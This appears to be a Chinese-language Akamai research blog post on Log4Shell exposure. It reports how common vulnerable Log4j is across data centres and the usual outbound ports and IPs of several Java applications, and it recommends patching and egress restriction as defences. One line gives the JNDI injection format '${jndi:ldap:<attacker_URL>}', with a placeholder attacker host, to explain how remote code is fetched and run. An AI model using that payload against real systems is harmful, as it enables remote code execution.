Log4Shell：大规模高危漏洞之量化评估
您日志中的每一条记录都有可能成为攻击者的武器
Log4Shell 漏洞危机依然在发酵。对于其波及范围和真实影响，人们有很多猜测：业界的许多人士都用“高危”来描述这一漏洞，但相关信息依然集中在风险的广泛程度上。为了进一步明确该问题，Akamai 威胁研究实验室利用自身对于全球海量数据中心的监测能力，评估了 Log4Shell 给企业带来的实际风险。
主要评估结论：
在所有接受检查的 Java 服务器中，有三分之二的服务器使用存在漏洞的 Log4j 框架
在所研究的数据中心内，有 91% 在运行 Java 服务器端应用程序；在这部分数据中心内，40% 以上具有面向互联网的 Java 服务器
观察出站通信模式时，我们所研究的绝大多数 Java 应用程序都通过少数几个端口通信
分析出站通信模式可以帮助企业检测异常行为，并且缓解 Log4Shell 所造成的部分风险
Akamai 基于对在线活动的广泛监测能力，对 Log4Shell 漏洞攻击趋势开展了进一步的分析，请阅读 Akamai 相关主题博文 了解详情。
前言
在全球各地，有数百个数据中心使用 Akamai Guardicore Segmentation 来实现进程级网络监测，以及相关措施的实施。简而言之，进程级网络监测能力让我们能够观测在网络内进行的所有网络连接，了解连接由源端资产的哪个进程发起，由目标端资产的哪个进程接受。
广泛的部署与这种独特的“进程对进程”信息相结合，让我们能够研究数据中心和云端网络内部以及跨越其安全边界的网络通信模式。凭借这些信息，我们就能总结出 Log4Shell 给我们的数字生活带来的风险的 整体量级 ，以及网络安全从业者可采取哪些措施来降低风险。
这篇博文分为两个部分。第一部分阐明了企业的攻击面 - 换言之，就是企业因 Log4Shell 而受到攻击的可能性有多大。第二部分将会具体审视生产环境中广泛应用的一些易受攻击的应用程序，并概述其常见通信模式。这部分内容将为防御者提供实用信息，帮助他们适当地细分这些应用程序，防止漏洞利用攻击得逞。
Log4Shell 风险量化评估
为了解 Java 在企业中的普及程度，我们从全球 200 多个不同行业、不同规模的数据中心收集了相关数据。在每个数据中心内，我们都发现了面向互联网的服务器，以及运行 Java 且接受网络连接的服务器。我们不但考虑了 Java 进程（java.exe、面向 Linux 的 Java、javaw 等），还考虑了将 Java 虚拟机加载到自己的内存中的进程。
评估风险 - Log4j 在数据中心的普及度
有关该漏洞的量级和影响范围的推测众说纷纭，但通过研究数据中心，我们得以利用自己掌握的数据，量化评估了 Log4Shell 漏洞所带来的风险。
我们的团队发现，所研究的环境中有大量可能受到 Log4Shell 攻击的服务器。事实上，我们发现在这些环境中，平均有三分之二的 Java 服务器包含存在漏洞的 Log4j 框架。在部分环境中，90% 以上的 Java 机器存在漏洞。这样的比例要远高于我们最初的预测，揭示出漏洞的普遍程度令人担忧。
在另一次较小规模的测试中，研究团队发现，所研究的环境无一例外地至少有一台服务器在修补之前存在 Log4Shell 漏洞。这指明了在补丁发布之前，这些环境中存在的风险级别。在修补开始后，我们观察到存在漏洞的环境数量减少。但有必要认识到一点，在庞大的环境中，即便仅有少量存在漏洞的服务器，依然可能给环境造成巨大的攻击面。
上面的数字说明了问题的核心所在。Log4j 的普及程度导致这一漏洞在一夜之间就广泛蔓延，范围之大堪称罕见。我们认识到，在所有 Java 服务器中，有接近三分之二的服务器仍然存在漏洞，因此需要 IT 和安全团队加倍努力，找出所有可能使用这一日志记录实用工具的环境，并制定相应的缓解计划。
面向互联网的 Java 服务器带来额外的风险
服务器的可访问性加大了服务器上这一漏洞的复杂性。这一漏洞本身足以引起企业的担忧，而面向互联网的服务器则带来了更多的风险。攻击者可能会将此类服务器用作攻击媒介，借以入侵服务器所在网络。根据 Akamai 在 Log4j 互联网流量趋势 研究 中所开展的分析，我们能看到攻击者正在竭尽所能地大肆滥用这一漏洞，相关攻击的数量达到了惊人的程度。
在研究中，我们发现 91% 的数据中心在运行 Java 服务器端应用程序，这样的数字令人担忧。其中有超过 40% 的数据中心还在使用面向互联网的 Java 服务器。就该漏洞的整体风险状况而言，这又增添了一层复杂性。面向互联网的服务器很容易被外界访问，所以它们可能更容易被滥用。在这篇博文的下一部分，我们将着重探讨 Java 应用程序的出站通信，并提供一些缓解建议，以帮助防御者更好地监控和保护运行 Java 应用程序且面向互联网的服务器。
但请注意，即便数据中心内的所有 Java 服务器均为内部服务器（也就是说，不面向互联网），也不能盲目认定不存在相关风险。Log4Shell 虽然主要被视为一种入侵网络的手段，但已有一些个案表明，在内部服务器上运行的 Java 应用程序收到了面向互联网的服务器发来的日志，结果遭到入侵。因此，攻击者能轻而易举地利用 Log4Shell 实现横向移动，轻松程度就像初始入侵一样。
利用数据辅助缓解漏洞
Log4Shell 可以成为攻击者手中的利器，它能够将攻击载荷从攻击者控制的远程机器下载到受害者的机器，再加以运行。为此，攻击者要注入一条 ${jndi:ldap:<attacker_URL>} 格式的日志消息，这最终会触发从存在漏洞的应用程序进程到消息内嵌网址的连接。随后系统就会下载远程 Java 类对象，并在内存中加以执行。
在了解到这一点之后，Akamai 威胁研究实验室开始探究 Java 服务器的通信模式，特别关注容易受到 Log4Shell 相关攻击的一些应用程序。了解 Java 服务器与进程的常用通信方式可以为安全和 IT 从业者提供必要的信息，帮助其检测和抵御环境中的异常问题，最终阻止 Log4Shell 漏洞利用攻击，并让正常的业务运营不受干扰。
探究外发通信：Java 服务器是如何对外通信的？
为了解 Java 服务器与互联网的通信方式，我们首先量化了 Java 应用程序用于连接互联网的目标 TCP 端口数量。根据我们的分析，绝大多数面向互联网的服务器均通过极少数几个（不到 10 个）端口进行通信。
这突显出一个事实：对允许从数据中心的不同服务器和进程外发的通信加以限制十分重要，也能带来安全方面的好处。也就是说，针对迄今为止始终通过一组特定端口通信的一个进程，识别其第一次与某个目标端口通信的情况，这样就能有效地辨别攻击企图。
我们针对几个常用 Java 应用程序，进一步细化了这一探索思路。
特定应用程序的通信模式
利用 Akamai Guardicore Segmentation 特有的进程级监测能力，Akamai 威胁研究实验室能够收集到有关容易受到 Log4Shell 攻击的特定应用程序的具体行为信息。这些数据可用于研究这些过程的正常行为、检测异常，并相应地创建有效的细分规则。
研究团队研究了四种常见易受攻击应用程序的通信模式（我们在括号中指明了触发网络流量的进程）：
Elasticsearch： 一种十分流行的全文搜索引擎，具有多种应用场景 (%elasticsearch%/bin/java)
Logstash： 服务器端数据处理管道，用于数据提取和数据转换 (/usr/share/logstash/jdk/bin/java)
VMware vCenter： 用于 VMware 虚拟机和 ESXi 主机的管理平台 (%\VMware\vCenter Server\%\bin\java.exe)
Okta RADIUS 代理： 一种用于将 RADIUS 身份验证委派给 Okta 身份管理解决方案的代理 (okta-radius.exe)
我们希望找到以下问题的答案：
这些应用程序通常连接到哪些目标端口？
具体来说，当目标端位于互联网上的时候，这些应用程序会连接到哪些端口？
在观察来自不同生产环境的聚合数据之后，我们获得了一些独特的见解。我们观察到，应用程序用到的互联网目标端口的数量寥寥无几：
Logstash |
Elasticsearch |
vCenter Server |
Okta RADIUS 代理 |
|
外发端口 |
443 53 9200 9092 80 |
9300 443 53 9301 80 |
大量端口 |
80 443 |
外发互联网 |
443 |
443 80 |
9080 902 443 80 |
80 443 |
但仅观察端口有时还不够，因为攻击者可以改变用来下载攻击载荷的端口，从而轻易隐藏自己的踪迹。
为了通过这样的数据得出更有用的结论，我们还需要研究目标 IP 地址，以此来了解通过这些端口进行的正常活动有哪些。有了 IP 地址信息，攻击者就更难隐藏自己的踪迹：如果某台服务器仅与互联网上的一个 IP 地址通信，那么攻击者必须获得该 IP 地址所对应服务器的控制权，然后通过该 IP 地址所对应的服务器传输恶意攻击载荷。因此，研究目标 IP 地址对于防御非常有用。
这样的分析能提供各应用程序通过各端口所连接的“唯一 IP 地址”的平均数量。数量恒定、少量的 IP 地址让企业有机会从另一个角度做出有效的防御和/或检测。也就是说，如果某个应用程序仅与少量 IP 地址通信，那么所有其他连接均可视为可疑。
我们观察了通过端口 443 和端口 80 连接的“唯一目标 IP 地址”的数量，并且注意到在几乎所有情况下，其数量均很少，而且这个数量长时间保持恒定不变的状态：
Logstash |
Elasticsearch |
vCenter Server |
Okta RADIUS 代理 |
||
通过每个端口连接的互联网地址平均数量 |
TCP 端口 443 |
4.0 |
7.2 |
7.0 |
3.75 |
TCP 端口 80 |
- |
2.0 |
1.3 |
- |
|
许多易受攻击的应用程序都具有较为有限的连接模式（不论从目标端口还是目标 IP 地址的角度来看皆是如此），认识到这一点有助于减小攻击面并开展有效的攻击检测。
结论
针对 Log4Shell 漏洞，我们最为推崇的缓解措施就是及时给 Log4j 库安装补丁。但众所周知，在生产环境中，有些时候无法安装补丁，或者无法迅速安装补丁。
我们针对多种易受攻击应用程序的通信行为的研究结论提供了另一种缓解方法，可以帮助企业减小攻击面并有效检测 Log4Shell 漏洞利用攻击（以及其他攻击）。
我们鼓励网络管理员研究易受攻击应用程序的通信模式，并理清其出站连接（包括目标 IP 地址和目标端口在内）。在掌握这些信息之后，防御者即可将出站连接控制在最低限度，仅允许通过已知标准通信端口传输的流量。
如果出于客观情况不能阻止连接，我们建议监测面向互联网的服务器发起的连接中存在的异常情况，包括使用不同以往的新端口或连接有违往常规律的新 IP 地址等等。Akamai Guardicore Segmentation 用户可以利用进程级信息，更好地监测各服务器执行的各种连接。对于 Hunt 客户，我们的威胁搜寻团队会主动研究这些数据，帮助这些客户排忧解难。
有关抵御 Log4Shell 攻击的更多信息，请阅读我们的博文： 《使用 Akamai Guardicore Segmentation 抵御 Log4j 滥用》。
